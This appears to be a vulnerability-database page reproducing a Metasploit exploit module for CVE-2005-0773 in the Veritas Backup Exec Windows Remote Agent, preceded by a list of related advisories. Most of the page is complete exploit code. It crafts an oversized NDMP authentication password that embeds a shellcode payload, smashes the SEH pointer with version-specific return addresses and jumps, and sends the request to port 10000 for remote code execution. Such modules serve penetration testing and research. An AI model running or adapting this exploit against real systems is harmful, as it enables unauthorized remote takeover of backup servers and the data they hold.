Veritas Backup Exec Windows Remote Agent Overflow
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| CVE-2005-0773 | 3 Jul 201000:00 | – | circl | |
| CVE-2005-0773 | 29 Jun 200504:00 | – | cve | |
| CVE-2005-0773 | 29 Jun 200504:00 | – | cvelist | |
| Veritas Backup Exec Windows - Remote Agent Overflow (Metasploit) | 3 Jul 201000:00 | – | exploitdb | |
| CVE-2005-0773 | 18 Jun 200504:00 | – | nvd | |
| VERITAS Backup Exec Remote Agent Windows Servers BOF Vulnerability | 15 Oct 201200:00 | – | openvas | |
| backupexec_agent.pm.txt | 29 Jun 200500:00 | – | packetstorm | |
| Veritas Backup Exec Windows Remote Agent Overflow | 30 Oct 200900:00 | – | packetstorm | |
| CVE-2005-0773: Undefined Security Weakness | 29 Jun 200500:00 | – | rapid7 | |
| VERITAS Backup Exec CONNECT_CLIENT_AUTH buffer overflow | 22 Dec 200500:00 | – | saint |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::NDMP
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the Veritas
BackupExec Windows Agent software. This vulnerability occurs
when a client authentication request is received with type
'3' and a long password argument. Reliable execution is
obtained by abusing the stack buffer overflow to smash a SEH
pointer.
},
'Author' => [ 'hdm' ],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2005-0773'],
[ 'OSVDB', '17624'],
[ 'BID', '14022'],
[ 'URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities']
],
'Privileged' => true,
'DefaultOptions' => {
'EXITFUNC' => 'process'
},
'Payload' => {
'Space' => 1024,
'BadChars' => "\x00",
'StackAdjustment' => -3500
},
'Targets' => [
[
'Veritas BE 9.0/9.1/10.0 (All Windows)',
{
'Platform' => 'win',
'Rets' => [ 0x0140f8d5, 0x014261b0 ]
},
],
[
'Veritas BE 9.0/9.1/10.0 (Windows 2000)',
{
'Platform' => 'win',
'Rets' => [ 0x75022ac4, 0x75022ac4 ]
},
],
],
'DefaultTarget' => 0,
'DisclosureDate' => '2005-06-22',
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
register_options(
[
Opt::RPORT(10000)
]
)
end
def check
info = ndmp_info
if (info and info['Version'])
vprint_status(" Vendor: #{info['Vendor']}")
vprint_status("Product: #{info['Product']}")
vprint_status("Version: #{info['Version']}")
if (info['Vendor'] =~ /VERITAS/i and info['Version'] =~ /^(4\.2|5\.1)$/)
return Exploit::CheckCode::Appears("VERITAS Backup Exec version #{info['Version']} detected")
end
end
return Exploit::CheckCode::Safe('VERITAS Backup Exec vulnerable version not detected')
end
def exploit
connect
print_status("Trying target #{target.name}...")
ndmp_recv
username = 'X' * 512
password = rand_text_alphanumeric(8192)
# Place our payload early in the request and jump backwards into it
password[3536 - payload.encoded.length, payload.encoded.length] = payload.encoded
# This offset is required for version 10.0
password[3536, 2] = "\xeb\x06"
password[3540, 4] = [ target['Rets'][1] ].pack('V')
password[3544, 5] = "\xe9" + [-1037].pack('V')
# This offset is required for version 9.0/9.1
password[4524, 2] = "\xeb\x06"
password[4528, 4] = [ target['Rets'][0] ].pack('V')
password[4532, 5] = "\xe9" + [-2025].pack('V')
# Create the authentication request
auth = [
1, # Sequence number
Time.now.to_i, # Current time
0, # Message type (request)
0x901, # Message name (connect_client_auth)
0, # Reply sequence number
0, # Error status
3 # Authentication type
].pack('NNNNNNN') +
[ username.length ].pack('N') + username +
[ password.length ].pack('N') + password +
[ 4 ].pack('N')
print_status('Sending authentication request...')
ndmp_send(auth)
# Attempt to read a reply (this should fail)
ndmp_recv
handler
disconnect
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
22 Jun 2005 00:00Current
6.2Medium risk
Vulners AI Score6.2
CVSS 27.5
EPSS0.86365